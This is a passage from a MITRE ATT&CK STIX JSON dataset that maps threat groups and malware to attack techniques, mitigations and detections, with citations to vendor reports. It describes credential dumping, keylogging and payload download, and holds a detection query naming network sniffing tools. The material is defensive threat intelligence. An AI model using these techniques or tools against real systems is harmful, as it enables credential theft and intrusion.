Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfc84868-c168-4db4-be39-641cfab0619a","type":"relationship","created":"2021-04-05T20:52:47.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DUBNIUM July 2016","url":"https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/","description":"Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021."}],"modified":"2021-04-22T14:35:25.542Z","description":"[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that searched for files with specific patterns.(Citation: Microsoft DUBNIUM July 2016)","relationship_type":"uses","source_ref":"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfce35b9-7ae9-4194-83a7-5e5ff1481551","type":"relationship","created":"2020-01-24T17:00:00.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-04-21T16:00:41.469Z","description":"Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfd1c3ca-ea2c-4b0e-8b0a-815b8ebb4dfb","type":"relationship","created":"2020-06-08T17:22:35.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T17:22:35.556Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index files from drives, user profiles, and removable drives.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfd2f3f1-3a5f-4500-be4e-39e3f8d6cb8e","created":"2023-08-03T18:36:07.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.663Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has dumped the lsass.exe memory to harvest credentials with the use of open-source tool [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-16T16:47:22.286Z","description":"[FakeM](https://attack.mitre.org/software/S0076) contains a keylogger module.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--bb3c1098-d654-4620-bf40-694386d28921","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfdffc50-dba0-41d1-a332-0a02a0a8de07","type":"relationship","created":"2019-01-31T01:07:58.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.714Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used [Net](https://attack.mitre.org/software/S0039) to use Windows' hidden network shares to copy their tools to remote machines for execution.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfdffca9-6418-486d-833f-84f3920fcb71","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[HALFBAKED](https://attack.mitre.org/software/S0151) can execute PowerShell scripts.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"malware--0ced8926-914e-4c78-bc93-356fb90dbd1f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfe30cdf-a0c8-440d-b471-d9fef00c559b","type":"relationship","created":"2020-05-06T17:47:43.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"modified":"2020-05-06T17:47:43.683Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has encrypted network communications with RC4.(Citation: JPCert TSCookie March 2018)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfe45239-7fa4-45a5-bb47-86c4ae46906c","type":"relationship","created":"2019-01-29T20:08:24.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.821Z","description":"(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfe474ce-d88f-4372-9918-a04470ba080e","type":"relationship","created":"2019-01-30T16:39:54.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.850Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) decodes many of its artifacts and is decrypted (AES-128) after being downloaded.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfe5c795-c95c-4387-b3d9-813078e7e99a","created":"2023-01-23T19:52:59.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-23T19:54:06.107Z","description":"[Prestige](https://attack.mitre.org/software/S1058) can traverse the file system to discover files to encrypt by identifying specific extensions defined in a hardcoded list.(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfe6736d-9bda-4f6e-87f9-8e6f3364a915","created":"2023-07-13T19:24:56.236Z","revoked":false,"external_references":[{"source_name":"CrowdStrike Scattered Spider BYOVD January 2023","description":"CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-13T19:24:56.236Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has deployed a malicious kernel driver through exploitation of CVE-2015-2291 in the Intel Ethernet diagnostics driver for Windows (iqvw64.sys).(Citation: CrowdStrike Scattered Spider BYOVD January 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfeb4a8f-eefd-440b-9719-26a77d71afd4","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress API Hash","description":"Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022.","url":"https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection"},{"source_name":"BlackHat API Packers","description":"Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022.","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf"},{"source_name":"MITRECND FindAPIHash","description":"Jason (jxb5151). (2021, January 28). findapihash.py. Retrieved August 22, 2022.","url":"https://github.com/MITRECND/malchive/blob/main/malchive/utilities/findapihash.py"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:22:48.411Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions, etc.\n\nFile-based signatures may be capable of detecting code obfuscation depending on the methods used.(Citation: Huntress API Hash)(Citation: BlackHat API Packers)(Citation: MITRECND FindAPIHash)","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bff00753-95ef-4a13-96fa-963365520573","type":"relationship","created":"2020-05-15T13:43:22.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2020-05-15T13:43:22.780Z","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) used PowerShell to create shellcode loaders.(Citation: Securelist DarkVishnya Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bff0eec0-8b94-44fc-95c5-6819b67f150c","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:27:57.980Z","description":"Monitor for newly executed processes that can aid in sniffing network traffic to capture information about an environment, including authentication material passed over the network \n\nNote: The Analytic is for Windows systems and looks for new processes that have the names of the most common network sniffing tools. While this may be noisy on networks where sysadmins are using any of these tools on a regular basis, in most networks their use is noteworthy.\n\nAnalytic 1 - Unexpected execution of network sniffing tools.\n\nindex=security sourcetype=\"WinEventLog:Security\" EventCode=4688 OR index=security sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image IN (\"*tshark.exe\", \"*windump.exe\", \"*tcpdump.exe\", \"wprui.exe\", \"wpr.exe\") AND ParentImage!=\"C:\\\\Program Files\\\\Windows Event Reporting\\\\Core\\\\EventReporting.AgentService.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bff3220c-6fea-4925-a9d0-46f06efb7337","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.796Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) can download additional payloads onto the victim.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bff4fc3f-9d4d-404f-996c-eaae6426eb0d","created":"2024-08-14T22:31:46.736Z","revoked":false,"external_references":[{"source_name":"PWC Yellow Liderc 2023","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T22:31:46.736Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has used strategic website compromise to infect victims with malware such as [IMAPLoader](https://attack.mitre.org/software/S1152).(Citation: PWC Yellow Liderc 2023)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bff99f91-e1a9-4379-a2d9-5a99615a95d1","type":"relationship","created":"2020-09-22T19:41:27.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."}],"modified":"2020-09-22T19:41:27.951Z","description":"(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bff9fc96-0b27-4c84-ad42-dcea53b907bf","type":"relationship","created":"2021-03-08T16:53:55.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.143Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute GetLocalTime for time discovery.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0011483-66e7-4f74-a397-d391efc421dc","type":"relationship","created":"2020-08-17T15:22:28.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T15:22:28.998Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can mimic HTTP protocol with custom HTTP “verbs” HIDE, ZVVP, and NOP.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c001d2e1-0aa6-40ce-871e-5966199587cd","created":"2022-06-02T13:27:48.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason PowerLess February 2022","description":"Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022.","url":"https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:54:43.431Z","description":"[PowerLess](https://attack.mitre.org/software/S1012) is written in and executed via PowerShell without using powershell.exe.(Citation: Cybereason PowerLess February 2022)","relationship_type":"uses","source_ref":"malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c002d944-83b6-4b64-a7a7-3129f31f9ae2","created":"2020-03-19T23:51:59.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.420Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from several email clients.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c00535d0-6e59-4293-8034-70e5bf94a74a","type":"relationship","created":"2019-06-20T16:18:23.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-02T22:11:32.208Z","description":"Ensure proper registry permissions are in place to inhibit adversaries from disabling or interfering with critical services.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.870Z","description":"[DustySky](https://attack.mitre.org/software/S0062) extracts basic information about the operating system.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c00b008a-5f2c-4837-811b-21193b70b4ae","type":"relationship","created":"2021-08-18T18:52:47.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.864Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has conducted internal spearphishing within the victim's environment for lateral movement.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c011e80b-7b86-405a-8d41-745bd37a0d10","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.444Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can steal system information.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c01dea94-ab42-438b-953f-49c00dd93846","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for changes made to files for unexpected modifications to /Library/StartupItem 